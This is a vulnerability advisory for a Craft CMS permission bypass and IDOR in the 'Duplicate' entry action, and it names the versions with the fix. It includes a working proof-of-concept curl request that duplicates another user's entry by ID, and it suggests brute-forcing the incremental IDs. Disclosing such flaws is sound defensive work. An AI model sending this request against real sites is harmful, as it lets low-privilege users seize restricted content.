CVE-2026-28782
Craft has a Permission Bypass and IDOR in Duplicate Entry Action
Craft is a content management system (CMS). Prior to 5.9.0-beta.1 and 4.17.0-beta.1, the "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request. Furthermore, this vulnerability allows duplicating other users' entries by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system. This vulnerability is fixed in 5.9.0-beta.1 and 4.17.0-beta.1.

Craft CMS has Permission Bypass and IDOR in Duplicate Entry Action
Description
The "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request.
Furthermore, this vulnerability allows duplicating other users' entries by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.
Proof of Concept
Prerequisites
- A user with "View Entries" permission on any section.
Steps to Reproduce
- Log in as a user with minimal permissions ("View Entries").
- Identify the target Entry ID (e.g., via brute-force
1toN). - Send the following cURL request:
Replace
craft.local,<Cookie>,<CSRF>and6393(which is the entry ID):curl --path-as-is -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF>' -H $'Content-Length: 216' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\Entry\",\"source\":\"section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\",\"viewState\":{\"static\":true},\"elementAction\":\"craft\\\\elements\\\\actions\\\\Duplicate\",\"elementIds\":[6393]}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fperform-action' - Observe that a new entry is created with the attacker as the owner, granting full access to the content.
